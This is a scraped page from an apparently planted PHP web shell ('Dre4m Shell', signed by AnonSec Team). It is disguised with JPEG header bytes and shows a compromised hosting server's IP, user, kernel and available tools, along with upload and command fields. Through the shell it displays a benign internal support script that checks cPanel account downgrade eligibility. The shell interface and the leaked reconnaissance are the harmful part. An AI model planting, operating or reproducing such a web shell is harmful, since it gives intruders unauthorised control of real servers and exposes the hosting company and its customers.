ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.128.205.103
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/tier1adv/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/tier1adv/bin/downchk
#!/bin/bash

#
#   script: downchk (Can They Downgrade?)
#   author: terrenceh
#     note: FOR IMH SHARED BUSINESS CLASS ACCOUNTS ONLY
#           VPS AND DEDICATED ACCOUNTS STILL MUST BE REVIEWD BY SYSTEMS (T2S)
#
#     does: Will show the users current plan
#             + What key features they are using on that plan that determines downgrade eligibility
#             + If they can downgrade or not
#
#    usage: downchk userna5 [or]
#           downchk --about [or]
#           downchk --help
#

    VERSION=0.2

#
# info/usage
#

# about
    DisplayInfo(){
    # output:
        echo
        echo "  SCRIPT: downchk (Can They Downgrade?)"
        echo "  AUTHOR: Terrence H"
        echo
        echo "    NOTE: FOR IMH SHARED BUSINESS CLASS ACCOUNTS ONLY"
        echo "          VPS AND DEDICATED ACCOUNTS STILL MUST BE REVIEWD BY SYSTEMS (T2S)"
    echo
        echo "    DOES: Will show the users current plan"
        echo "           + What key features they are using on that plan that determines downgrade eligibility"
        echo "           + If they can downgrade or not"
    }

# usage
    DisplayUsage(){
    # output:
        echo
        echo "   USAGE: downchk userna5 [or]"
        echo "          downchk --about [or]"
        echo "          downchk --help"
        echo
        echo
    }

#
# main functions
#

# global vars
    declare CURRENT
    declare ADDONS
    declare PARKED
    declare SUBDOMS
    declare DBS
    declare FTPACCTS

# fetch account details
    GetDeterminingFactors(){
        CURRENT=$(sudo cat /var/cpanel/users/$USER|grep PLAN|cut -d= -f2);
        ADDONS=$(sudo cat /var/cpanel/userdata/$USER/main|sed -n '/addon_/,/main_/p'|sed '1d'|sed '$d'|grep -v "^$"|wc -l);
        PARKED=$(sudo cat /var/cpanel/userdata/$USER/main|sed -n '/parked_/,/sub_/p'|sed '1d'|sed '$d'|grep -v "^$"|wc -l);
        SUBDOMS=$(sudo cat /var/cpanel/userdata/$USER/main|sed -n '/sub_/,$p'|sed '1d'|sed '$d'|grep -v "^$"|wc -l);
        DBS=$(ls /var/lib/mysql|grep $USER|grep -v "^$"|wc -l);
        FTPACCTS=$(sudo cat /etc/proftpd/$USER|sed '$d'|sed '$d'|grep -v "^$"|wc -l);
    }

    DisplayEligibility(){
        if [[ "$CURRENT" != "Power" && "$CURRENT" != "Launch" ]]
        then
            if [[ "$ADDONS" -lt  6 && "$PARKED" -lt  27 && "$SUBDOMS" -lt  101 && "$DBS" -lt  51 && "$FTPACCTS" -lt 2001 ]]
            then
                echo -e " Eligible For A Power Plan?\tYES"
            else
                echo -e " Eligible For A Power Plan?\tNO"
            fi
        fi
        if [ "$CURRENT" != "Launch" ]
        then
            if [[ "$ADDONS" -lt  1 && "$PARKED" -lt  7 && "$SUBDOMS" -lt  26 && "$DBS" -lt  3 && "$FTPACCTS" -lt 1001 ]]
            then
                echo -e " Eligible For A Launch Plan?\tYES"
            else
                echo -e " Eligible For A Launch Plan?\tNO"
            fi
        fi
    }

# so, can they ?
    CanTheyDowngrade(){
    clear
        echo
        echo -e "\n Ummm...Can They Downgrade?";
        GetDeterminingFactors
    # output: results
        echo -e "\n Customer ($USER) is currently on a $CURRENT plan\n" \
                "\n The following are in use under this plan:\n" \
                "\n    $ADDONS\tAddon Domains" \
                "\n    $PARKED\tParked Domains" \
                "\n    $SUBDOMS\tSub Domains" \
                "\n    $DBS\tDatabases" \
                "\n    $FTPACCTS\tFTP Accounts"
        echo
        DisplayEligibility
        echo
        echo
    # final cleanup
        unset USER
        unset CURRENT
        unset ADDONS
        unset PARKED
        unset SUBDOMS
        unset DBS
        unset FTPACCTS
    }

#
# check input, validate and die on error [else] CanTheyDowngrade ?
#

# check for false input and display help
    if [[ -z "$1" || "$1" == "--help" || -n "$2" ]]
    then
    # output: usage
        DisplayInfo && DisplayUsage
        exit 0
# display info
    elif [ "$1" == "--about" ]
    then
    # output: about/usage
        DisplayInfo && DisplayUsage
        exit 0
    else
    #! user seems to not need help, but lets double check
        if [ -z "$(echo "$(ls /home|grep "$*"|grep -v "^$")")" ]
        then
        # error: entry appears invalid
            echo -e "$(tput setaf 1)\n   ERROR!$(tput sgr0) \"$*\" is not currently active on this server ($(hostname|cut -d\. -f1))\n          Are you sure you are logged into the right box?" && DisplayUsage
            exit 1
        else
        # ok, account exists on server
            USER=$(echo "$*")
        CanTheyDowngrade
        exit 0
         fi
    fi

# eof

Anon7 - 2022
AnonSec Team